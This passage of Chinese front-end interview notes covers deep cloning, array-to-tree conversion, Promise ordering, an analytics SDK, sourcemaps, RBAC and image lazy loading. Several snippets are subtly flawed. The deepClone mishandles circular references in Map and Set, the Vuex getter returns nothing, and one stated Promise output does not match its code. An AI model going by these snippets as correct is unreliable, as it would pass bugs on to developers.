            this.moveToTail(newNode);

            data[key] = newNode;
            this.dataLength++;
            if (this.dataLength === 1) this.head = newNode;
        } else {
            // 修改现有数据
            curNode.value = value;
            // 移动到最新的位置
            this.moveToTail(curNode);
        }

        // 长度超出时清理旧数据
        this.tryClean();
    }
}

手写一个深拷贝函数,需要考虑 Map Set 循环引用

function deepClone(obj: any, map = new WeakMap()): any {
    if (typeof obj !== "object" || obj === null) return obj;

    // 避免循环引用的问题
    const objFromMap = map.get(obj);
    if (objFromMap) return objFromMap;

    let target: any = {};
    map.set(obj, target);

    // 处理Map的情况
    if (obj instanceof Map) {
        target = new Map();
        obj.forEach((v, k) => {
            const v1 = deepClone(v, map);
            const k1 = deepClone(k, map);
            target.set(k1, v1);
        });
    }

    // 处理Set的情况
    if (obj instanceof Set) {
        target = new Set();
        obj.forEach((v) => {
            const v1 = deepClone(v, map);
            target.add(v1);
        });
    }

    // 处理Array的情况
    if (obj instanceof Array) {
        target = obj.map((item) => deepClone(item, map));
    }

    // 处理Object的情况
    for (const key in obj) {
        const val = obj[key];
        const val1 = deepClone(val, map);
        target[key] = val1;
    }

    return target;
}

代码["1","2","3"].map(parseInt)输出什么

  • parseInt传入两个参数,第一个参数是要转换成数字的字符串,第二个参数是要解析的数字的基数(进制 范围2~36),当值为 0,或没有传该参数时,parseInt() 会根据 第一个参数 来判断数字的基数
    • 以 "0x" 开头,parseInt() 会当做十六进制的整数来处理
    • 以"0"开头,旧的浏览器默认使用八进制基数。ECMAScript 5,默认的是十进制的基数
    • 以 1 ~ 9 的数字开头,parseInt() 将把它当做为十进制的整数来处理
  • parseIn注意点:
    • 第一个字串不能转为数字时返回NaN
    • 第二个参数不在2~36时返回NaN
    • 第一个字串对应的数字不符合第二个参数的进制时,返回NaN
  • map的回调函数,传入两个参数,第一个是真正的值,第二个是该值对应的下标值
  • 上述的代码类似
parseInt("1", 0) // 1
parseInt("2", 1) // NaN
parseInt("3", 2) // NaN

最终输出[1, NaN, NaN]

函数修改形参,会影响实参吗

例子:

function fn(x) {
    x = 200
}

const num = 100
fn(num)
console.info(num) // 100

const obj = {x: 100}
fn(obj)
console.info(obj) // {x: 100}

答案是不会,因为函数的传参是赋值传递。eslint建议函数参数不要修改,当做常量

手写convert函数,将数组转成树

interface IArrayItem {
    id: number;
    name: string;
    parentId: number;
}
interface ITreeNode {
    id: number;
    name: string;
    children?: ITreeNode[];
}

function convert(arr: IArrayItem[]): ITreeNode | null {
    const idToTreeNode: Map<number, ITreeNode> = new Map(); // 映射id 和 treeNode
    let root = null;

    arr.forEach((item) => {
        const { id, name, parentId } = item;

        // 定义treeNode
        const treeNode: ITreeNode = { id, name };
        idToTreeNode.set(id, treeNode);

        // 找到parentNode,并加到children
        const parentNode = idToTreeNode.get(parentId);
        if (parentNode) {
            if (parentNode.children == null) {
                parentNode.children = [];
            }
            parentNode.children.push(treeNode);
        }
        if (parentId === 0) root = treeNode;
    });

    return root;
}

const arr = [
    { id: 1, name: "部门A", parentId: 0 },
    { id: 2, name: "部门A", parentId: 1 },
    { id: 3, name: "部门A", parentId: 1 },
    { id: 4, name: "部门A", parentId: 2 },
    { id: 5, name: "部门A", parentId: 2 },
    { id: 6, name: "部门A", parentId: 3 },
];

连环问:手写convert函数,将树转成数组

  • 遍历树节点(广度优先)
  • 将树节点转为Array Item ,push到数组里
  • 根据父子关系,找到Array Item的parentId
interface IArrayItem {
    id: number;
    name: string;
    parentId: number;
}
interface ITreeNode {
    id: number;
    name: string;
    children?: ITreeNode[];
}
function convert1(root: ITreeNode): IArrayItem[] {
    const res: IArrayItem[] = [];
    const nodeToParent: Map<ITreeNode, ITreeNode> = new Map();

    // 广度优先遍历
    const queue: ITreeNode[] = [];
    queue.push(root);
    while (queue.length > 0) {
        const curNode = queue.shift();
        if (curNode == null) break;
        const { id, name, children = [] } = curNode;

        // 创建item并push
        const parentNode = nodeToParent.get(curNode);
        const parentId = parentNode?.id || 0;
        const item: IArrayItem = { id, name, parentId };
        res.push(item);

        children.forEach((child) => {
            nodeToParent.set(child, curNode);
            queue.push(child);
        });
    }
    return res;
}

const tree = {
    id: 1,
    name: "部门A",
    children: [
        {
            id: 2,
            name: "部门B",
            children: [
                {
                    id: 4,
                    name: "部门D",
                },
                {
                    id: 5,
                    name: "部门E",
                },
            ],
        },
        {
            id: 3,
            name: "部门C",
            children: [
                {
                    id: 6,
                    name: "部门F",
                },
            ],
        },
    ],
};

构造函数和原型的重名属性

例子:

function Foo() {
    Foo.a = function () {
        console.info(1);
    };
    this.a = function () {
        console.info(2);
    };
}

Foo.a = function () {
    console.info(3);
};
Foo.prototype.a = function () {
    console.info(4);
};

Foo.a(); // 3

const obj = new Foo();

obj.a(); // 2

Foo.a(); // 1

Promise执行顺序问题

例子:

Promise.resolve().then(() => {
    console.log(0);
    return Promise.resolve(4)
}).then(res => {
    console.log(res);
})

Promise.resolve().then(() => {
    console.log(1);
}).then(() => {
    console.log(2);
}).then(() => {
    console.log(3);
}).then(() => {
    console.log(5);
}).then(() => {
    console.log(6);
})
// 输出 0 1 2 3 4 5 6
  • then交替执行
    • 如果多个fulfilled promise实例,同时执行then链式调用,then会交替执行
    • 这是编译器的优化,防止一个promise占用太长时间
    Promise.resolve().then(() => {
    console.log(1);
    }).then(() => {
        console.log(2);
    }).then(() => {
        console.log(3);
    }).then(() => {
        console.log(4);
    }).then(() => {
        console.log(5);
    })
    Promise.resolve().then(() => {
        console.log(10);
    }).then(() => {
        console.log(20);
    }).then(() => {
        console.log(30);
    }).then(() => {
        console.log(40);
    }).then(() => {
        console.log(50);
    })
    Promise.resolve().then(() => {
        console.log(100);
    }).then(() => {
        console.log(200);
    }).then(() => {
        console.log(300);
    }).then(() => {
        console.log(400);
    }).then(() => {
        console.log(500);
    })
    // 输出 1 10 100 2 20 200 3 30 300 4 40 400 5 50 500 6 60 600
    
  • then中返回promise实例
    • 相当于多出一个promise实例
    • 同样遵循“交替执行”
    • 但是和直接声明一个promise实例,结果有些差异
  • then中返回promise实例,会出现“慢两拍”的效果
    • 第一拍,promise需要从pending变为fulfilled
    • 第二拍,then函数推入异步微任务队列(参考EventLoop)

React的setState是微任务还是宏任务

  • setState是同步,只不过是让React做成了异步的样子,所以不讨论是微任务还是宏任务
  • 是为了考虑性能,多次state的修改,只进行一次DOM渲染

对象和属性的连续赋值

例子:

let a = {n: 1}
let b = a
a.x = a = {n: 2}

console.log(a.x) // undefined
console.log(b.x) // {n:2}
  • 连续赋值,倒叙执行
let n1,n2
n1 = n2 = 100
// 相当于
// n2 = 100
// n1 = n2
  • 对象.(obj.) 的优先级高于赋值的优先级
let a = {}
a.x = 100
// 可以拆解为
// a.x = undefined  初始化a.x的属性
// a.x = 100  为x赋值

对象属性类型问题

例子1:

let a = {}, b = "123", c = 123
a[b] = "b"
a[c] = "c"
console.log(a[b]) // c

例子2:

let a = {}, b = Symbol("123"), c = Symbol(123)
a[b] = "b"
a[c] = "c"
console.log(a[b]) // b

例子3:

let a = {}, b = {key: "123"}, c = {key: "456"}
a[b] = "b"
a[c] = "c"
console.log(a[b]) // c
  • JS对象的key只能是字符串和Symbol类型
  • 其他类型会被转换成字符串
  • 转换字符串会直接调用它的toString()方法
  • 扩展:Map的key可以是任何类型,WeakMap只能是引用类型,不能是值类型(传了值类型会报错)

开发一个前端统计SDK,如何设计

  • 确定前端统计的范围
    • 访问量PV:pageView,页面有多少人访问
    • 自定义事件:上报用户的行为,比如点击按钮
    • 性能,错误
class Statistic {
    constructor(productId) {
        this.productId = productId // 产品id

        this.initPerformance()
        this.initError()
    }

    // 发送统计数据
    send(url, params = {}) {
        params.productId = this.productId

        const paramArr = []
        for(let key in params) {
            const val = params[key]
            paramArr.push(`${key}=${val}`)
        }

        const newUrl = `${url}?${paramArr.join("&")}`
        // 用<img>发送   1.可跨域   2.兼容性极好
        const img = document.createElement("img")
        img.src = newUrl
    }

    // 初始化性能统计
    initPerformance() {
        const url = "yyy"
        this.send(url, performance.timing)
    }

    // 初始化错误监控
    initError() {
        // js window.onerror
        window.addEventListener("error", event => {
            const {error, lineno, colno} = event
            this.error(error, {lineno, colno})
        })
        window.addEventListener("unhandledrejection", event => {
            this.error(new Error(event.reason), {type: "unhandledrejection"})
        })
    }

    pv() {
        const href = location.href
        if(PV_URL_SET.has(href)) return // 不重复发送PV
        // 特殊的event
        this.event("pv")
        PV_URL_SET.add(href)
    }

    event(key, val) {
        // 自定义事件统计
        const url = "xxx" // 自定义事件统计 server
        this.send(url, {key, val})
    }

    error(err, info = {}) {
        const url = "zzz"
        const {message, stack} = err
        this.send(url, {message, stack, ...info})
    }
}

连环问:sourcemap有什么作用?如何配置

  • 作用:将线上压缩混淆后的报错代码映射成源码中具体的报错代码
    • JS上线时要压缩混淆
    • 线上的报错信息,将无法识别行和列
  • 配置
    • WebPack配置 devtool
      • 开发环境,代码一般不压缩混淆,所以可以不配置,或者设置为 eval-source-map,可以精准定位到具体的错误行
      • 线上环境,关闭Source Map或者配置成nosources-source-map(只定位行数不暴露源码),防止源码泄露,提高网站的安全性
    • vite配置 build.sourcemap
      • vite只在构建的时候询问是否生成source map
      • 线上环境,设置为false,关闭Source Map
  • 注意
    • 如果是开源项目,要开源sourcemap
    • 非开源项目,不要泄露sourcemap

什么时候用SPA,什么时候用MPA

  • 简介:
    • SPA:Single Page Application 单页面应用
    • MPA:Multi Page Application 多页面应用
    • 默认情况,Vue/React都是SPA
  • SPA
    • 特点:
      • 功能较多,一个页面展示不完
      • 以操作为主,非展示为主
      • 适合一个综合Web应用
    • 场景:
      • 大型后台管理系统
      • 知识库
      • 比较复杂的WebApp
  • MPA
    • 特点:
      • 功能较少,一个页面展示的完
      • 以展示为主,操作较少
      • 适合一个孤立的页面
    • 场景:
      • 混合开发
      • 分享页
      • 详情页

使用Vue + Vuex开发H5编辑器

提交给服务端的数据格式怎么设计

  • 参考vnode/vdom,因为vnode很繁杂,很多数据是我们用不到的,所以参考重要部分
  • 组成页面组件应该是有序的,所以使用数组
const page = {
    title: "页面标题",
    settings: { /* 其他扩展信息:分享的配置等 */ },
    props: { /* 当前页面的属性设置:背景 */ },
    components: [
        // components要是有序的,使用数组
        {
            id: "id1",
            name: "文本1",
            type: "text",
            style: {color: "#000", fontSize: "20px"},
            attrs: { /* 其他属性 */ },
            text: "文本内容1"
        },
        {
            id: "id2",
            name: "图片1",
            type: "image",
            style: {width: "80px"},
            attrs: { src: "xxx.png" },
        }
    ]
}

如何保证画布和属性面板的信息同步

用一个变量记录当前选中的组件,这个变量记录选中组件的id即可

如果要扩展一个“图层”面板,Vuex如何设计数据

使用Vuex的getters

const getters = {
    layers() {
        page.components.map(c => {
            return {
                id: c.id,
                name: c.name
            }
        })
    }
}

设计一个用户-角色-权限模型

  • 每个管理系统都应该有权限管理
  • 目前流行的权限管理模型就是RBAC(Role-based access control基于角色的访问控制)
  • RBAC:三个模型,两个关系

image.png

Hybrid模板如何更新

  • APP何时下载新版本?
    • APP启动时检查,下载
    • 实时(每隔几分钟)检查,下载
  • 延迟使用
    • 检查到新版本时,先在后台下载,这段时间先用着老版本
    • 这样做的原因是检查到新版本,此时立即下载,此时打开webview就要等到下载完毕才能展示(下载是需要时间的,会影响性能)
    • 待新版本下载完成,再替换成新版本,开始使用

开发一个抽奖页,后端需要提供哪些接口

  • 抽奖页相关信息接口
    • 奖池信息
    • 剩余抽奖次数/余额
  • 抽奖接口
  • 统计上报接口

如何做技术选型

  • 选什么
    • 前端框架(Vue React Nuxt.js Next.js或者node框架:egg koa nest)
    • 语言(JS TS)
    • 其他(构建工具、CI/CD等)
  • 依据
    • 社区是否成熟
    • 公司是否已经有经验积累
    • 团队成员的学习成本
  • 考虑成本
    • 学习成本
    • 管理成本(使用TS,遍地any怎么办)
    • 运维成本

设计实现一个H5图片懒加载SDK

  • 分析:
    • 定义<img src="loading.png" data-src="xxx.png" />
    • 页面滚动,图片出现在可视区域时,将data-src赋值给src
    • 根据getBoundingClientRect的top和window.innerHeight比较来判断是否出现在可视区域(也可以使用Intersection Observer,要考虑兼容性)
    • 滚动要节流

image.png

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        .item-container {
            width: 100%;
        }
        .item-container img {
            width: 100%;
            height: 359px;
            object-fit: contain;
        }
    </style>
</head>
<body>
    <h1>img lazy load</h1>
    <div class="item-container">
        <p>新闻标题</p>
        <img src="https://changxinyu.com/ezgif.com-gif-maker.webp" alt="" data-src="https://img2.baidu.com/it/u=3202947311,1179654885&fm=253&app=138&size=w931&n=0&f=JPEG&fmt=auto?sec=1677862800&t=afa9d36295dffa69bd32760a2730eee0">
    </div>
    <div class="item-container">
        <p>新闻标题</p>
        <img src="https://changxinyu.com/ezgif.com-gif-maker.webp" alt="" data-src="https://img2.baidu.com/it/u=3202947311,1179654885&fm=253&app=138&size=w931&n=0&f=JPEG&fmt=auto?sec=1677862800&t=afa9d36295dffa69bd32760a2730eee0">
    </div>
    <div class="item-container">
        <p>新闻标题</p>
        <img src="https://changxinyu.com/ezgif.com-gif-maker.webp" alt="" data-src="https://img2.baidu.com/it/u=3202947311,1179654885&fm=253&app=138&size=w931&n=0&f=JPEG&fmt=auto?sec=1677862800&t=afa9d36295dffa69bd32760a2730eee0">
    </div>
    <div class="item-container">
        <p>新闻标题</p>
        <img src="https://changxinyu.com/ezgif.com-gif-maker.webp" alt="" data-src="https://img2.baidu.com/it/u=3202947311,1179654885&fm=253&app=138&size=w931&n=0&f=JPEG&fmt=auto?sec=1677862800&t=afa9d36295dffa69bd32760a2730eee0">
    </div>
    <div class="item-container">
        <p>新闻标题</p>
        <img src="https://changxinyu.com/ezgif.com-gif-maker.webp" alt="" data-src="https://img2.baidu.com/it/u=3202947311,1179654885&fm=253&app=138&size=w931&n=0&f=JPEG&fmt=auto?sec=1677862800&t=afa9d36295dffa69bd32760a2730eee0">
    </div>
    <div class="item-container">
        <p>新闻标题</p>
        <img src="https://changxinyu.com/ezgif.com-gif-maker.webp" alt="" data-src="https://img2.baidu.com/it/u=3202947311,1179654885&fm=253&app=138&size=w931&n=0&f=JPEG&fmt=auto?sec=1677862800&t=afa9d36295dffa69bd32760a2730eee0">
    </div>
    <div class="item-container">
        <p>新闻标题</p>
        <img src="https://changxinyu.com/ezgif.com-gif-maker.webp" alt="" data-src="https://img2.baidu.com/it/u=3202947311,1179654885&fm=253&app=138&size=w931&n=0&f=JPEG&fmt=auto?sec=1677862800&t=afa9d36295dffa69bd32760a2730eee0">
    </div>
    <script src="https://cdn.bootcdn.net/ajax/libs/lodash.js/4.17.21/lodash.min.js"></script>
    <script>
        function mapImagesAndTryLoad() {
            const images = document.querySelectorAll("img[data-src]")
            if(images.length === 0) return
            images.forEach(img => {
                const rect = img.getBoundingClientRect()
                if(rect.top < window.innerHeight) {
                    // 图片出现在可视区
                    console.info("loading img", img.dataset.src)
                    img.src = img.dataset.src
                    img.removeAttribute("data-src") // 移除data-src属性,为下次执行时减速计算成本
                }
            })
        }

        window.addEventListener("scroll", _.throttle(() => {
            mapImagesAndTryLoad()
        }, 100))
        mapImagesAndTryLoad()
    </script>
</body>
</html>

如何做Code review,要考虑哪些内容

  • 考虑的内容
    • 代码规范(eslint不能全检查,如变量命名、代码语义)
    • 重复代码要抽离复用
    • 单个函数内容过长,需要拆分
    • 算法复杂度是否可用,是否可继续优化
    • 是否有安全漏洞
    • 扩展性如何
    • 是否和现有的功能重复
    • 是否有完善的单元测试
    • 组件设计是否合理
  • 时机
    • 提交PR(或MR)时,通过代码diff进行Code review
    • 每周例行一次集体Code review
  • 持续优化
    • 将每次Code review的问题记录下
    • 归纳整理,形成自己的代码规范体系
    • 新加入的成员提前学习,提前规避

如何学习一门语言,要考虑哪些方面

  • 考虑内容
    • 这门语言的优势和应用场景
    • 语法(常量、变量、数据类型、运算符、函数等)
    • 内置模块和API
    • 常用的第三方框架和库
    • 开发环境和调试工具
    • 线上环境和发布过程

你觉得自己还有哪些不足之处

答案模板:我觉得自己在xxx技术方面不足,但是我已经意识到了并开始学习xxx,估计会在xxx时间就能补足了

  • 范围限定在技术方面
  • 非核心技术栈
  • 容易弥补的